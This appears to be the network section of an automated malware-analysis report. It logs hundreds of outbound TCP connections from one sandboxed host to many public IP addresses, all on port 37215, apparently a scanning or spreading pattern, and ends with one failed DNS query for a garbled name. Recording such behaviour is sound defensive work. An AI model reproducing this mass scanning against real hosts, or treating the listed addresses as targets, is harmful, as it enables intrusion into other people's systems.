              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.122.22.41:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 166.113.228.152:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 112.218.90.87:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 97.92.78.162:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.169.168.133:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 198.5.217.190:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.60.227.81:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.184.71.65:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.221.201.213:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 74.236.70.52:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 116.100.9.39:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.79.180.63:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 189.174.177.254:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.126.147.170:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 140.93.135.199:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 54.188.192.48:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.63.220.29:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 150.0.60.233:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.36.240.186:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.226.68.244:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 64.10.186.178:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.69.238.131:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.233.154.15:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 58.226.162.206:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.55.193.230:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.125.197.128:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.182.174.79:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 69.83.219.112:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.38.86.193:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.85.205.131:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.213.24.63:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 134.190.152.220:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.253.223.244:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.47.56.173:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.185.50.219:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.20.29.122:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.72.17.75:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.124.166.79:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.20.241.32:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.88.85.192:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.47.113.7:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.151.220.158:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.88.92.72:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.227.84.0:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.175.194.66:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.50.8.60:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.116.61.247:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 86.15.251.124:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.66.60.155:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.98.6.175:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 222.174.170.16:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.205.195.251:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 98.102.137.200:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.234.186.5:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.141.239.51:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 102.141.11.70:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 112.98.190.143:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.177.204.42:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 100.132.82.172:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.171.133.96:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.73.69.76:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.27.173.59:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 119.78.176.156:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.190.2.59:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.129.224.216:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.152.155.173:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.217.202.68:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.233.128.161:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.169.135.188:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.85.221.42:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 209.82.222.25:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.179.238.7:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.216.42.101:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 69.202.115.178:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.42.192.223:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.123.74.171:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 142.251.5.98:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.203.54.36:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.54.52.190:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 220.178.173.216:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.229.197.100:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.53.201.225:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.147.127.175:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.181.63.165:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 60.214.213.136:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.9.27.187:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.208.47.133:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 194.169.86.200:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.0.202.73:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.12.98.36:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.244.194.220:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.197.133.86:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.17.114.225:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.24.249.56:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.37.50.88:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.128.190.118:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.117.118.41:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.162.139.194:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.83.6.7:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.13.244.123:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 117.28.75.130:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.62.149.43:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.232.30.181:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.147.2.149:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.228.104.131:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.147.75.250:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.187.150.20:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.37.213.34:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 113.99.209.165:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 68.21.203.199:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.245.247.5:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.72.161.198:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.245.218.239:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.98.9.17:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 111.43.181.192:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.99.173.199:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.12.225.113:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.167.37.188:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.230.139.9:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.246.98.79:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.55.0.228:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.30.182.219:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 219.244.131.228:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.136.252.150:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 12.132.113.30:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.251.171.187:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.251.169.24:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.59.159.190:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.58.165.177:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.124.56.84:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 115.56.52.84:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.193.125.179:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 83.60.93.234:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.28.106.231:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 97.255.231.170:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.183.175.56:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.177.77.32:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 2.215.94.215:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 95.181.128.30:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 205.204.141.64:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 72.123.244.201:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.57.138.106:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.197.7.209:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 185.84.156.230:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.156.190.123:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.124.3.227:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.144.170.247:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.255.234.231:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.142.165.71:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.197.160.153:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.200.205.38:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.198.73.194:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.203.51.52:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.44.116.137:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 140.184.154.76:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.145.79.35:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.77.61.117:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.61.235.81:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.109.206.254:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.133.144.38:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.126.126.56:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.48.97.157:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.121.219.249:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 159.214.43.43:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.135.165.113:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 115.207.63.191:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 49.142.206.70:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.221.167.77:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.102.57.70:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.36.166.208:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.47.68.211:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.201.4.227:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.159.135.0:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 93.184.93.225:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.11.108.108:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.25.190.16:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 38.11.90.106:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 79.245.245.133:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 52.40.179.250:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.147.77.233:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 151.52.129.99:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.186.75.159:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.211.34.173:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.235.111.76:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.41.16.171:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.139.21.205:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.240.224.229:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.67.240.82:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.60.79.8:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.185.6.131:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.215.177.83:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.207.101.20:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.170.165.237:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.17.144.52:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.208.25.123:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 69.126.118.126:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.65.52.152:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 149.43.178.45:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.231.108.202:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.121.54.62:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 182.236.58.237:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.157.51.129:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.94.136.144:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.232.99.72:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.137.99.3:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.169.165.157:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.103.63.160:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.204.216.17:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.70.23.26:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.42.105.107:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 166.14.159.253:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.116.130.163:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.112.213.200:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.57.5.1:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.200.147.163:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.10.49.221:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.113.44.21:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.117.45.236:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 179.205.217.6:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.160.224.122:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 81.145.75.168:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.104.114.171:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.223.153.152:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 160.8.59.22:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 145.18.224.248:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.249.63.35:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.244.200.105:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.14.128.205:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.251.49.17:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 75.233.3.69:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.152.144.168:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.241.149.210:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.245.245.172:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.88.93.145:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 176.142.27.7:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.144.219.132:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.40.138.186:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.67.188.230:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 171.212.32.142:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.168.88.110:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.155.14.159:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.22.137.52:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.129.2.199:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.159.107.104:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.221.198.99:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.248.150.153:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.87.201.251:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.25.19.223:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.111.42.195:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.4.169.93:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.159.14.243:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.33.80.189:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.214.74.230:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.100.151.200:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.21.99.97:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 98.218.116.10:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.45.38.55:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 138.203.119.197:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.34.38.7:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.175.20.86:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.52.214.141:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.198.213.127:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.241.216.61:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.231.62.49:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.214.148.201:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 42.182.171.159:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.144.150.196:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.158.24.193:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 35.127.88.211:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.97.107.70:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.175.61.69:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 159.213.140.38:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.192.145.225:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.158.107.171:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.72.255.4:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.59.160.18:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.17.192.188:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 166.179.177.119:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.16.187.88:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 193.48.89.3:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.76.68.155:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.109.101.229:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.216.24.82:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.99.149.8:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.76.174.88:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.122.117.167:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.70.177.89:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.20.199.29:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 69.142.84.159:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 166.215.223.46:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.202.89.181:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 149.160.175.6:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.107.19.230:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 164.247.122.157:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.226.201.250:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.25.135.149:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 19.169.15.10:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.196.41.159:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 14.82.252.225:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.244.242.2:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 145.24.3.72:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.232.94.217:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.94.160.62:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.253.214.189:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 12.185.173.13:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.230.118.182:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.59.117.62:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 114.25.130.249:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.115.207.120:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.253.206.155:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 92.130.32.57:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.204.62.43:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.146.59.69:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.149.250.8:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.105.173.216:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.217.13.142:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 135.85.149.100:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 59.100.192.177:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.234.152.121:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 32.75.71.102:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.117.232.242:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.167.90.27:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 103.180.105.235:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.91.31.150:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.129.33.56:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 45.82.249.11:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.161.20.166:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 195.241.5.221:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 168.138.9.57:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.144.80.20:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.83.247.31:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.238.1.143:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.25.74.228:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.210.154.29:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 195.210.213.102:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 77.69.89.225:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.188.85.78:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.236.111.132:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.149.175.97:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.203.201.85:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 142.113.125.53:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.96.183.43:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.107.182.78:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.225.180.175:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 61.172.204.183:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.194.46.185:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.190.238.237:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.214.10.205:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.45.136.179:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.192.110.42:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.211.107.219:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 44.46.146.239:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.134.5.239:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.153.13.18:37215
              Source: unknownDNS traffic detected: query: BC@^]B replaycode: Name error (3)
